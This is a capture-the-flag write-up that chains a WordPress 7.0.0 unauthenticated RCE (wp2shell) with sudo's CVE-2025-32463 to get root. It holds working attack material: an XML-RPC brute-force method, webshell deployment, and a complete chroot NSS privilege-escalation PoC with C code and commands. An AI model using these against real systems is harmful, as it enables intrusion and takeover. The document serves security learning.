wordpressed-to-root
Two CVEs, one root. An unauthenticated chain gets www-data, then CVE-2025-32463 (\"chwoot\") takes it to uid=0. Neither bug is in the custom theme, which is where the challenge wants you to look.
On this page
The flag summarizes the solution: two CVEs, one root. It undercounts slightly, since the path to www-data chains two of them (CVE-2026-63030 and CVE-2026-60137) and CVE-2025-32463 then gives uid=0. Neither vulnerability is in the custom theme.
https://wordpressed-to-root-f3b572c30c6ab62a-global.challs.brunnerne.xyz/
Apache/2.4.58 (Debian) autoindex on, expose_php off
WordPress 7.0.0 theme: brunnerne-docs 1.1.0, zero plugins
Debian GNU/Linux trixie/sid glibc 2.37-15, sudo 1.9.15p5, gcc present
admin: brunnerne_4acd746536e1 (id 1)The target is a documentation site titled “Brunnerne Developer Documentation”, with the tagline “Small docs, sloppy deployments.” The blog posts serve as the challenge specification. The critical post reads:
Documentation Platform Maintenance: At May 20, 2026 we updated the previously super old WordPress install, to stay up to date on cybersecurity. We should likely also update the host machine… I think it’s still running an old Debian Trixie beta
These sentences outline both parts of the exploit chain.
1. Recon
/wp-json/wp/v2/users leaks the administrator username. xmlrpc.php is enabled with support for system.multicall. Directory listing is active where WordPress lacks an index.php file. This includes most of /wp-includes/, allowing enumeration of the file tree.
A recursive scan of the tree (247 directories, 2,416 files) turned up no custom or backdoored files. It did surface one anomaly: the modification time of /wp-includes/version.php sits a day apart from everything else in the tree.
2026-05-19 14:30 1.0M /wp-includes/js/dist/editor.min.js
2026-05-19 17:16 71K /wp-admin/includes/update-core.php
2026-05-20 17:39 1.1K /wp-includes/version.php ← newest file in the entire treeThe system writes version.php at build time, so the mtime dates the image rather than the upstream release. It lines up with the 2026-05-20 blog post, which is what makes 7.0.0 the plausible reading. Querying the WordPress core version API shows:
$ curl -s https://api.wordpress.org/core/version-check/1.7/
{"offers":[{"response":"upgrade","download":".../wordpress-7.1.zip", ...The current stable version is 7.1, but the target runs version 7.0.0. The administrators updated it once and left it vulnerable to later security releases.
What I ruled out first (and shouldn’t have spent so long on)
| Surface | Result |
|---|---|
Custom theme brunnerne-docs | index/header/footer/functions/style.css only. No forms, no admin-ajax actions, no custom REST routes, no query vars. Purely presentational. |
| Plugins | None installed. /wp-content/plugins/ is empty. |
| REST API | 129 routes, all core. Everything interesting is 401. |
| Deployment artifacts | No .git, no wp-config.php.bak, no .env, no archives. The “sloppy deployments” tagline is flavour, not a hint. |
| Hidden posts | IDs 1,2,4 to 8 only. No drafts, no private posts, no revisions reachable. |
| XML-RPC brute force | Viable but wrong. See below. |
Gotcha:
.phpsreturns 403, not 404. That is Debian’s defaultphp*.conf, which denies.phpsexplicitly withRequire all deniedrather than leaving it unmapped. The same config handles PHP via<FilesMatch ".+\.ph(ar|p|tml)$">, so.pharand.phtmlexecute as well. Useful for upload filter bypasses, though not needed here. I did not re-read the box’s/etc/apache2/conf-enabled/php*.confto confirm the exact pattern before the environment went away.
The brute-force dead end
The XML-RPC system.multicall method allows batched wp.getUsersBlogs authentication attempts without rate limits or lockouts, processing approximately 1,000 passwords per second at 250 requests per batch. Running 288,000 passwords from the rockyou.txt wordlist against the brunnerne_4acd746536e1 account recovered nothing. That negative result is weaker than it looks, because the server never processed an unknown fraction of those candidates.
Two issues occurred:
- Running a 40-thread directory brute-forcer concurrently with the XML-RPC requests triggered HTTP 503 errors and container restarts.
- The authentication script monitored for the absence of the
faultCodestring to detect a successful login. Because the HTTP 503 error page did not containfaultCode, the script incorrectly flagged every rate-limit error as a valid credential match.
A 503 means the request never reached the XML-RPC handler, so every candidate in that window remained untested. I never repeated the run cleanly, so “no password” holds only for the subset actually processed. This stopped mattering once the version timeline pointed to an unauthenticated path, but the brute force did not rule anything out.
Gotcha: scripts that rely on the absence of error strings fail when encountering unexpected status codes. Always validate responses against positive success indicators or verify the response format.
2. Stage 1: unauthenticated RCE (CVE-2026-63030 and CVE-2026-60137)
WordPress 7.0.0 is vulnerable to the wp2shell exploit chain, disclosed on 2026-07-17 by Adam Kues (Assetnote / Searchlight Cyber) and patched in version 7.0.2.
| CVE | Bug | Class |
|---|---|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 route confusion: validation and execution desynchronize, allowing a sub-request to bypass handler validation | Logic |
| CVE-2026-60137 | WP_Query author__not_in: the absint() check only runs when the value is an array, allowing a raw string to be input directly into the WHERE clause | SQLi |
Advisories: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
Affected versions: 6.9.0 to 6.9.4 and 7.0.0 to 7.0.1. Fixed in 6.9.5, 7.0.2, and 7.1-beta2.
Required preconditions (all met on this target): active REST API, no persistent object cache (such as Redis or Memcached), and at least one published post.
The exploit chain uses route confusion to pass a string-typed author__not_in value to WP_Query. The resulting SQL injection injects a forged WP_Post into the transient cache, which the oEmbed system saves. This allows a customizer changeset to run with administrative privileges and create a new administrator account via POST /wp/v2/users.
Running the 0xsha/wp2shell exploit script confirmed the target vulnerability:
$ python3 wp2shell.py check --insecure --delay 0.3 https://<target>/
[*] WordPress version: 7.0.0 VULNERABLE - full RCE chain
[+] Batch endpoint reachable and unauthenticated (HTTP 207)
[+] Route confusion ACTIVE - categories request answered by the block-renderer
handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in
[+] Time-based channel also confirmed - baseline 0.11s vs injected 3.15s$ python3 wp2shell.py shell --insecure --delay 0.3 --cmd 'id; hostname' https://<target>/
[+] Administrator created: wp2_82851440ff44 / Wp2!OPDgHthV0TvZNLUsMJJz (borrowed admin id 1)
[+] Authenticated. Deploying webshell plugin ...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
d-wordpressed-to-root-f3b572c30c6ab62a-global-56bc9b48b6-n5287Gotcha: the container is ephemeral, but the database persists. If the container restarts, the system deletes uploaded webshells, but the created administrator account remains in the database container. You can log back in using the credentials from the first run instead of running the exploit again.
I uploaded a PHP runner protected by a token to wp-content/uploads/ to execute commands without reinstalling the WordPress plugin.
3. Stage 2: local root (CVE-2025-32463 “chwoot”)
Initial host enumeration:
PRETTY_NAME="Debian GNU/Linux trixie/sid" ← "old Debian Trixie beta", confirmed
Sudo version 1.9.15p5
-R, --chroot=directory change the root directory before running command
gcc /usr/bin/gcc python3 MISSING, make MISSING, nc MISSING
ldd (Debian GLIBC 2.37-15) 2.37
SUID: chfn chsh gpasswd mount newgrp passwd su umount sudo
$ sudo -n -l
sudo: a password is requiredSudo version 1.9.15p5 is vulnerable to CVE-2025-32463 (affecting versions 1.9.14 to 1.9.17). When executing with the -R or --chroot option, sudo performs name service switch (NSS) lookups inside the target chroot directory before dropping privileges. By pointing nsswitch.conf inside the chroot to a custom library, sudo loads the shared object as root via dlopen(). The library constructor executes before privileges are dropped and before password verification to allow execution from a webshell.
This vulnerability does not require any existing privileges in the sudoers file. www-data’s sudo rules could not be enumerated at all (sudo -n -l demands a password), but CVE-2025-32463 needs none, so it did not matter.
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot </dev/null#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
system("/bin/sh /tmp/woot_payload.sh");
_exit(0);
}Gotcha: keep the constructor logic simple and execute a separate payload script. Complex command strings passed to
system()often break due to nesting and escaping issues. Using a separate script avoids this problem.
Exploit execution:
[*] launching sudo -R ...
[*] sudo exit=0
--- id ---
uid=0(root) gid=0(root) groups=0(root),33(www-data)
--- uname ---
Linux d-wordpressed-to-root-f3b572c30c6ab62a 7.1.6 #1 SMP x86_64 GNU/Linux
--- /root listing ---
/root:
flag
--- /root file contents ---
/root/flag:brunner{tw0_cv3s_0n3_r00t}A SUID-root copy of bash which the payload created gave an interactive way back in. The stat output shows the file was root-only to begin with:
$ /tmp/rootbash -p -c 'id; cat /root/flag; stat -c "%n %U:%G %a" /root/flag'
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
brunner{tw0_cv3s_0n3_r00t}
/root/flag root:root 6004. Why the version timeline was the whole challenge
The blog posts indicate the exploit path. Other features on the target, such as the custom theme, the empty plugins directory, directory listing, and XML-RPC, are distractions rather than vulnerabilities.
The key indicator was the modification time of version.php (2026-05-20), combined with the WordPress API showing version 7.1 was current. This points to WordPress 7.0.0, which leads to the wp2shell exploit and www-data access. Sudo version 1.9.15p5 on Debian Trixie/Sid then allows local privilege escalation via CVE-2025-32463 (chwoot) to root.
I also recorded a research failure because it nearly cost me the second stage. I ran background research agents to identify candidate CVEs. For stage 1, the research was excellent and independently converged on wp2shell. For stage 2, it produced two confident, specific, wrong candidates:
| Predicted | Actual |
|---|---|
| CVE-2026-35535: sudo mailer privilege-drop, ≤1.9.17p2 | ✗ |
| CVE-2026-31431: “Copy Fail”, AF_ALG page-cache write | ✗ |
| - | ✓ CVE-2025-32463: sudo -R chroot NSS load |
The reasoning anchored on Debian’s advisory that Trixie fixed sudo in 1.9.16p2-3+deb13u2 and worked forward from there. However, the box shipped 1.9.15p5, which is older than the version the entire inference was built on. Chasing the kernel candidate would have wasted effort, because the target is a container on a patched shared host running kernel 7.1.6.
Checking sudo -V directly confirmed the version and pointed to the chroot vulnerability.
5. Cleanup
I restored the target to its original state:
- Deleted the created administrator
wp2_82851440ff44(user ID 2; the exploit borrowed id 1’s capabilities to create it). This left onlybrunnerne_4acd746536e1. - Removed both
wp2shell_*plugin webshells and theuploads/.hlp.phprunner, verified as returning 404. - Removed the SUID
/tmp/rootbashand all build artifacts (/tmp/woot*,exploit_chwoot.sh,pwn.txt,cl.php). - Verified the site responds normally with HTTP 200.
6. Takeaways
- A file’s mtime standing a day apart from the rest of the tree was the entire challenge. The version string said one thing; the timestamps said when the image was actually built.
- Time spent brute-forcing was time not spent reading. The wordlist run was both unnecessary and, because the script scored 503s as successes, incapable of proving the negative it appeared to prove.
- Instrument the failure mode before trusting a negative result. A detector keyed on the absence of a string will call every error page a success.
sudo -Vbeats inferring a version from a distribution advisory. The whole kernel-exploit detour came from anchoring on1.9.16p2-3+deb13u2when the box was running1.9.15p5.- Keep a
LD_PRELOADconstructor trivial and put the real work in a separate script. Escaping insidesystem()is where these break.
Files
exploit_chwoot.sh: builds the fake NSS module, triggers CVE-2025-32463, drops a SUID bash and reads the flag
References
GHSA-ff9f-jf42-662q,GHSA-fpp7-x2x2-2mjf: wp2shell advisories- https://github.com/0xsha/wp2shell: unified PoC and Docker labs
- CVE-2025-32463: sudo chroot local root (Rich Mirch / Stratascale)
- https://www.sudo.ws/security/advisories/: sudo advisory index